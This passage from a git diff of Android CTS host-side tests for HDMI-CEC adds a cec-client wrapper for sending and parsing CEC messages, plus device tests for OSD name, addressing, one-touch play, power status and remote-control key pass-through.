+        while ((endTime - startTime <= timeoutMillis)) {
+            if (mInputConsole.ready()) {
+                String line = mInputConsole.readLine();
+                if (pattern.matcher(line).matches()) {
+                    CLog.v("Found " + expectedMessage.name() + " in " + line);
+                    return line;
+                }
+            }
+            endTime = System.currentTimeMillis();
+        }
+        throw new Exception("Could not find message " + expectedMessage.name());
+    }
+
+    /**
+     * Looks for the CEC message incorrectMessage sent to CEC device toDevice on the cec-client
+     * communication channel and throws an exception if it finds the line that contains the message
+     * within the default timeout. If the CEC message is not found within the timeout, function
+     * returns without error.
+     */
+    public void checkOutputDoesNotContainMessage(CecDevice toDevice,
+            CecMessage incorrectMessage) throws Exception {
+        checkOutputDoesNotContainMessage(toDevice, incorrectMessage, DEFAULT_TIMEOUT);
+     }
+
+    /**
+     * Looks for the CEC message incorrectMessage sent to CEC device toDevice on the cec-client
+     * communication channel and throws an exception if it finds the line that contains the message
+     * within timeoutMillis. If the CEC message is not found within the timeout, function returns
+     * without error.
+     */
+    public void checkOutputDoesNotContainMessage(CecDevice toDevice, CecMessage incorrectMessage,
+            long timeoutMillis) throws Exception {
+
+        checkCecClient();
+        long startTime = System.currentTimeMillis();
+        long endTime = startTime;
+        Pattern pattern = Pattern.compile("(.*>>)(.*?)" +
+                                          "(" + targetDevice + toDevice + "):" +
+                                          "(" + incorrectMessage + ")(.*)",
+                                          Pattern.CASE_INSENSITIVE);
+
+        while ((endTime - startTime <= timeoutMillis)) {
+            if (mInputConsole.ready()) {
+                String line = mInputConsole.readLine();
+                if (pattern.matcher(line).matches()) {
+                    CLog.v("Found " + incorrectMessage.name() + " in " + line);
+                    throw new Exception("Found " + incorrectMessage.name() + " to " + toDevice +
+                            " with params " + getParamsFromMessage(line));
+                }
+            }
+            endTime = System.currentTimeMillis();
+        }
+     }
+
+    /** Gets the hexadecimal ASCII character values of a string. */
+    public String getHexAsciiString(String string) {
+        String asciiString = "";
+        byte[] ascii = string.trim().getBytes();
+
+        for (byte b : ascii) {
+            asciiString.concat(Integer.toHexString(b));
+        }
+
+        return asciiString;
+    }
+
+    public String formatParams(String rawParams) {
+        StringBuilder params = new StringBuilder("");
+        int position = 0;
+        int endPosition = 2;
+
+        do {
+            params.append(":" + rawParams.substring(position, endPosition));
+            position = endPosition;
+            endPosition += 2;
+        } while (endPosition <= rawParams.length());
+        return params.toString();
+    }
+
+    public String formatParams(long rawParam) {
+        StringBuilder params = new StringBuilder("");
+
+        do {
+            params.insert(0, ":" + String.format("%02x", rawParam % 256));
+            rawParam >>= 8;
+        } while (rawParam > 0);
+
+        return params.toString();
+    }
+
+    /** Formats a CEC message in the hex colon format (sd:op:xx:xx). */
+    public String formatMessage(CecDevice source, CecDevice destination, CecMessage message,
+            int params) {
+        StringBuilder cecMessage = new StringBuilder("" + source + destination + ":" + message);
+
+        cecMessage.append(formatParams(params));
+
+        return cecMessage.toString();
+    }
+
+    public static int hexStringToInt(String message) {
+        return Integer.parseInt(message, HEXADECIMAL_RADIX);
+    }
+
+    public String getAsciiStringFromMessage(String message) {
+        String params = getNibbles(message).substring(4);
+        StringBuilder builder = new StringBuilder();
+
+        for (int i = 2; i <= params.length(); i += 2) {
+            builder.append((char) hexStringToInt(params.substring(i - 2, i)));
+        }
+
+        return builder.toString();
+    }
+
+    /**
+     * Gets the params from a CEC message.
+     */
+    public int getParamsFromMessage(String message) {
+        return hexStringToInt(getNibbles(message).substring(4));
+    }
+
+    /**
+     * Gets the first 'numNibbles' number of param nibbles from a CEC message.
+     */
+    public int getParamsFromMessage(String message, int numNibbles) {
+        int paramStart = 4;
+        int end = numNibbles + paramStart;
+        return hexStringToInt(getNibbles(message).substring(paramStart, end));
+    }
+
+    /**
+     * From the params of a CEC message, gets the nibbles from position start to position end.
+     * The start and end are relative to the beginning of the params. For example, in the following
+     * message - 4F:82:10:00:04, getParamsFromMessage(message, 0, 4) will return 0x1000 and
+     * getParamsFromMessage(message, 4, 6) will return 0x04.
+     */
+    public int getParamsFromMessage(String message, int start, int end) {
+        return hexStringToInt(getNibbles(message).substring(4).substring(start, end));
+    }
+
+    /**
+     * Gets the source logical address from a CEC message.
+     */
+    public CecDevice getSourceFromMessage(String message) {
+        String param = getNibbles(message).substring(0, 1);
+        return CecDevice.getDevice(hexStringToInt(param));
+    }
+
+    /**
+     * Converts ascii characters to hexadecimal numbers that can be appended to a CEC message as
+     * params. For example, "spa" will be converted to ":73:70:61"
+     */
+    public static String convertStringToHexParams(String rawParams) {
+        StringBuilder params = new StringBuilder("");
+        for (int i = 0; i < rawParams.length(); i++) {
+            params.append(String.format(":%02x", (int) rawParams.charAt(i)));
+        }
+        return params.toString();
+    }
+
+
+    /**
+     * Gets the destination logical address from a CEC message.
+     */
+    public CecDevice getDestinationFromMessage(String message) {
+        String param = getNibbles(message).substring(1, 2);
+        return CecDevice.getDevice(hexStringToInt(param));
+    }
+
+    private String getNibbles(String message) {
+        final String tag1 = "group1";
+        final String tag2 = "group2";
+        String paramsPattern = "(?:.*[>>|<<].*?)" +
+                               "(?<" + tag1 + ">[\\p{XDigit}{2}:]+)" +
+                               "(?<" + tag2 + ">\\p{XDigit}{2})" +
+                               "(?:.*?)";
+        String nibbles = "";
+
+        Pattern p = Pattern.compile(paramsPattern);
+        Matcher m = p.matcher(message);
+        if (m.matches()) {
+            nibbles = m.group(tag1).replace(":", "") + m.group(tag2);
+        }
+        return nibbles;
+    }
+
+    /**
+     * Kills the cec-client process that was created in init().
+     */
+    private void killCecProcess() {
+        try {
+            checkCecClient();
+            sendConsoleMessage(CecClientMessage.QUIT_CLIENT.toString());
+            mOutputConsole.close();
+            mInputConsole.close();
+            mCecClientInitialised = false;
+            if (!mCecClient.waitFor(MILLISECONDS_TO_READY, TimeUnit.MILLISECONDS)) {
+                /* Use a pkill cec-client if the cec-client process is not dead in spite of the
+                 * quit above.
+                 */
+                List<String> commands = new ArrayList<>();
+                Process killProcess;
+                commands.add("pkill");
+                commands.add("cec-client");
+                killProcess = RunUtil.getDefault().runCmdInBackground(commands);
+                killProcess.waitFor();
+            }
+        } catch (Exception e) {
+            /* If cec-client is not running, do not throw an exception, just return. */
+            CLog.w("Unable to close cec-client", e);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
index b751cf4..e65660d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
@@ -27,4 +27,23 @@
 
     static final int PLAYBACK_DEVICE_TYPE = 0x04;
 
+    static final int CEC_CONTROL_SELECT = 0x0;
+    static final int CEC_CONTROL_UP = 0x1;
+    static final int CEC_CONTROL_DOWN = 0x2;
+    static final int CEC_CONTROL_LEFT = 0x3;
+    static final int CEC_CONTROL_RIGHT = 0x4;
+    static final int CEC_CONTROL_BACK = 0xd;
+    static final int CEC_CONTROL_VOLUME_UP = 0x41;
+    static final int CEC_CONTROL_VOLUME_DOWN = 0x42;
+    static final int CEC_CONTROL_MUTE = 0x43;
+
+    static final int UNRECOGNIZED_OPCODE = 0x0;
+
+    static final int CEC_DEVICE_TYPE_TV = 0;
+    static final int CEC_DEVICE_TYPE_RECORDING_DEVICE = 1;
+    static final int CEC_DEVICE_TYPE_RESERVED = 2;
+    static final int CEC_DEVICE_TYPE_TUNER = 3;
+    static final int CEC_DEVICE_TYPE_PLAYBACK_DEVICE = 4;
+    static final int CEC_DEVICE_TYPE_AUDIO_SYSTEM = 5;
+
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecDeviceOsdNameTest.java
new file mode 100644
index 0000000..46306f1
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecDeviceOsdNameTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC tests related to the device reporting the device OSD name (Section 11.2.11) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecDeviceOsdNameTest extends BaseHostJUnit4Test {
+    private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
+
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
+
+    /**
+     * Test 11.2.11-1a
+     * Tests that the device responds to a <GIVE_OSD_NAME> with a <SET_OSD_NAME> that has the
+     * correct device name in the parameters.
+     */
+    @Test
+    public void cect_11_2_11_1a_GiveOsdNameTest() throws Exception {
+        /* The params for <SET_OSD_NAME> only allow for 14 characters */
+        final int nameLength = 14;
+        ITestDevice device = getDevice();
+        String deviceName = device.executeShellCommand("settings get global device_name").trim();
+        if (deviceName.length() > nameLength) {
+            deviceName = deviceName.substring(0, nameLength).trim();
+        }
+        hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_OSD_NAME);
+        String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.SET_OSD_NAME);
+        assertEquals(deviceName, hdmiCecClient.getAsciiStringFromMessage(message));
+    }
+
+    /**
+     * Test 11.2.11-1b
+     * Test updates the device_name in global properties and checks that the device responds to a
+     * <GIVE_OSD_NAME> with a <SET_OSD_NAME> that has the updated device name in the parameters.
+     */
+    @Test
+    public void cect_11_2_11_1b_UpdateAndGiveOsdNameTest() throws Exception {
+        final String testName = "test_name";
+        ITestDevice device = getDevice();
+        String originalName = device.executeShellCommand("settings get global device_name").trim();
+        try {
+            device.executeShellCommand("settings put global device_name '" + testName + "'");
+            hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_OSD_NAME);
+            String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+                    CecMessage.SET_OSD_NAME);
+            assertEquals(testName, hdmiCecClient.getAsciiStringFromMessage(message));
+        } finally {
+            device.executeShellCommand("settings put global device_name '" + originalName + "'");
+        }
+    }
+
+    /**
+     * Test 11.2.11-2
+     * Tests that the device does not respond to a <GIVE_OSD_NAME> from an unregistered device.
+     */
+    @Test
+    public void cect_11_2_11_2_UnregisteredDeviceGiveOsdNameTest() throws Exception {
+        hdmiCecClient.sendCecMessage(CecDevice.PLAYBACK_1, CecMessage.GIVE_OSD_NAME);
+        hdmiCecClient.checkOutputDoesNotContainMessage(CecDevice.PLAYBACK_1,
+                CecMessage.SET_OSD_NAME);
+        hdmiCecClient.sendCecMessage(CecDevice.BROADCAST, CecMessage.GIVE_OSD_NAME);
+        hdmiCecClient.checkOutputDoesNotContainMessage(CecDevice.BROADCAST,
+                CecMessage.SET_OSD_NAME);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
index 5987ace..97c03d1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
@@ -17,38 +17,23 @@
 package android.hdmicec.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Before;
+import org.junit.Rule;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecLogicalAddressTest implements IDeviceTest {
+public final class HdmiCecLogicalAddressTest extends BaseHostJUnit4Test {
     private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
 
-    private ITestDevice mDevice;
-
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Before public void testHdmiCecAvailability() throws Exception {
-        assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
-    }
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
 
     /**
      * Test 10.2.3-1
@@ -58,18 +43,9 @@
     @Test
     public void cect_10_2_3_1_RebootLogicalAddress() throws Exception {
         ITestDevice device = getDevice();
-        assertNotNull("Device not set", device);
-
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
-        try {
-            hdmiCecUtils.init();
-            device.executeShellCommand("reboot");
-            device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-            String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
-            assertEquals(PLAYBACK_DEVICE, hdmiCecUtils.getSourceFromMessage(message));
-        } finally {
-            hdmiCecUtils.killCecProcess();
-        }
+        device.executeShellCommand("reboot");
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+        assertEquals(PLAYBACK_DEVICE, hdmiCecClient.getSourceFromMessage(message));
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
index cd7c788..d54f0c7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
@@ -17,39 +17,24 @@
 package android.hdmicec.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Before;
+import org.junit.Rule;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /** HDMI CEC tests for One Touch Play (Section 11.2.1) */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecOneTouchPlayTest implements IDeviceTest {
+public final class HdmiCecOneTouchPlayTest extends BaseHostJUnit4Test {
 
     private static final int PHYSICAL_ADDRESS = 0x1000;
 
-    private ITestDevice mDevice;
-
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Before public void testHdmiCecAvailability() throws Exception {
-        assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
-    }
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
 
     /**
      * Test 11.2.1-1
@@ -59,18 +44,9 @@
     @Test
     public void cect_11_2_1_1_OneTouchPlay() throws Exception {
         ITestDevice device = getDevice();
-        assertNotNull("Device not set", device);
-
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
-        try {
-            hdmiCecUtils.init();
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
-            hdmiCecUtils.checkExpectedOutput(CecDevice.TV, CecMessage.TEXT_VIEW_ON);
-            String message = hdmiCecUtils.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
-            assertEquals(PHYSICAL_ADDRESS, hdmiCecUtils.getParamsFromMessage(message));
-        } finally {
-            hdmiCecUtils.killCecProcess();
-        }
+        device.executeShellCommand("input keyevent KEYCODE_HOME");
+        hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.TEXT_VIEW_ON);
+        String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
+        assertEquals(PHYSICAL_ADDRESS, hdmiCecClient.getParamsFromMessage(message));
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
index 0e61c24..e7ba389 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
@@ -17,37 +17,22 @@
 package android.hdmicec.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Before;
+import org.junit.Rule;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPhysicalAddressTest implements IDeviceTest {
+public final class HdmiCecPhysicalAddressTest extends BaseHostJUnit4Test {
 
-    private ITestDevice mDevice;
-
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Before public void testHdmiCecAvailability() throws Exception {
-        assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
-    }
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
 
     /**
      * Test 10.1.2-1
@@ -57,20 +42,11 @@
     @Test
     public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
         ITestDevice device = getDevice();
-        assertNotNull("Device not set", device);
-
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
-        try {
-            hdmiCecUtils.init();
-            device.executeShellCommand("reboot");
-            device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-            String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
-            int physicalAddress = hdmiCecUtils.getParamsFromMessage(message,
-                HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
-            assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, physicalAddress);
-        } finally {
-            hdmiCecUtils.killCecProcess();
-        }
+        device.executeShellCommand("reboot");
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+        int physicalAddress = hdmiCecClient.getParamsFromMessage(message,
+            HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
+        assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, physicalAddress);
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
index d396b05..136c8da 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
@@ -17,40 +17,29 @@
 package android.hdmicec.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Before;
+import org.junit.Rule;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
+import java.util.concurrent.TimeUnit;
+
 /** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPowerStatusTest implements IDeviceTest {
+public final class HdmiCecPowerStatusTest extends BaseHostJUnit4Test {
 
     private static final int ON = 0x0;
     private static final int OFF = 0x1;
 
-    private ITestDevice mDevice;
+    private static final int WAIT_TIME = 5;
 
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Before public void testHdmiCecAvailability() throws Exception {
-        assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
-    }
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
 
     /**
      * Test 11.2.14-1
@@ -60,21 +49,12 @@
     @Test
     public void cect_11_2_14_1_PowerStatusWhenOn() throws Exception {
         ITestDevice device = getDevice();
-        assertNotNull("Device not set", device);
-
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
-        try {
-            hdmiCecUtils.init();
-            /* Make sure the device is not booting up/in standby */
-            device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-            hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
-            String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
-                                                              CecMessage.REPORT_POWER_STATUS);
-            assertEquals(ON, hdmiCecUtils.getParamsFromMessage(message));
-        } finally {
-            hdmiCecUtils.killCecProcess();
-        }
+        /* Make sure the device is not booting up/in standby */
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
+        String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+                                                            CecMessage.REPORT_POWER_STATUS);
+        assertEquals(ON, hdmiCecClient.getParamsFromMessage(message));
     }
 
     /**
@@ -85,23 +65,18 @@
     @Test
     public void cect_11_2_14_2_PowerStatusWhenOff() throws Exception {
         ITestDevice device = getDevice();
-        assertNotNull("Device not set", device);
-
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
         try {
-            hdmiCecUtils.init();
             /* Make sure the device is not booting up/in standby */
             device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
             device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
-            String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
+            TimeUnit.SECONDS.sleep(WAIT_TIME);
+            hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
+            String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
                                                               CecMessage.REPORT_POWER_STATUS);
-            assertEquals(OFF, hdmiCecUtils.getParamsFromMessage(message));
+            assertEquals(OFF, hdmiCecClient.getParamsFromMessage(message));
         } finally {
             /* Wake up the device */
             device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-            hdmiCecUtils.killCecProcess();
         }
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRemoteControlPassThroughTest.java
new file mode 100644
index 0000000..aa47adf
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRemoteControlPassThroughTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.13) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecRemoteControlPassThroughTest extends BaseHostJUnit4Test {
+
+    /**
+     * The package name of the APK.
+     */
+    private static final String PACKAGE = "android.hdmicec.app";
+    /**
+     * The class name of the main activity in the APK.
+     */
+    private static final String CLASS = "HdmiCecKeyEventCapture";
+    /**
+     * The command to launch the main activity.
+     */
+    private static final String START_COMMAND = String.format(
+            "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE, PACKAGE, CLASS);
+    /**
+     * The command to clear the main activity.
+     */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    private static final int WAIT_TIME = 10;
+
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+            new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
+
+    private void lookForLog(String expectedOut) throws Exception {
+        ITestDevice device = getDevice();
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
+        String logs = device.executeAdbCommand("logcat", "-v", "brief", "-d", CLASS + ":I", "*:S");
+        // Search for string.
+        String testString = "";
+        Scanner in = new Scanner(logs);
+        while (in.hasNextLine()) {
+            String line = in.nextLine();
+            if(line.startsWith("I/" + CLASS)) {
+                testString = line.split(":")[1].trim();
+                break;
+            }
+        }
+        device.executeAdbCommand("logcat", "-c");
+        assertEquals(expectedOut, testString);
+    }
+
+    /**
+     * Test 11.2.13-1
+     * Tests that the device responds correctly to a <USER_CONTROL_PRESSED> message followed
+     * immediately by a <USER_CONTROL_RELEASED> message.
+     */
+    @Test
+    public void cect_11_2_13_1_UserControlPressAndRelease() throws Exception {
+        ITestDevice device = getDevice();
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_UP, false);
+        lookForLog("Short press KEYCODE_DPAD_UP");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_DOWN, false);
+        lookForLog("Short press KEYCODE_DPAD_DOWN");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_LEFT, false);
+        lookForLog("Short press KEYCODE_DPAD_LEFT");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_RIGHT, false);
+        lookForLog("Short press KEYCODE_DPAD_RIGHT");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_SELECT, false);
+        lookForLog("Short press KEYCODE_DPAD_CENTER");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_BACK, false);
+        lookForLog("Short press KEYCODE_BACK");
+    }
+
+    /**
+     * Test 11.2.13-2
+     * Tests that the device responds correctly to a <USER_CONTROL_PRESSED> message for press and
+     * hold operations.
+     */
+    @Test
+    public void cect_11_2_13_2_UserControlPressAndHold() throws Exception {
+        ITestDevice device = getDevice();
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_UP, true);
+        lookForLog("Long press KEYCODE_DPAD_UP");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_DOWN, true);
+        lookForLog("Long press KEYCODE_DPAD_DOWN");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_LEFT, true);
+        lookForLog("Long press KEYCODE_DPAD_LEFT");
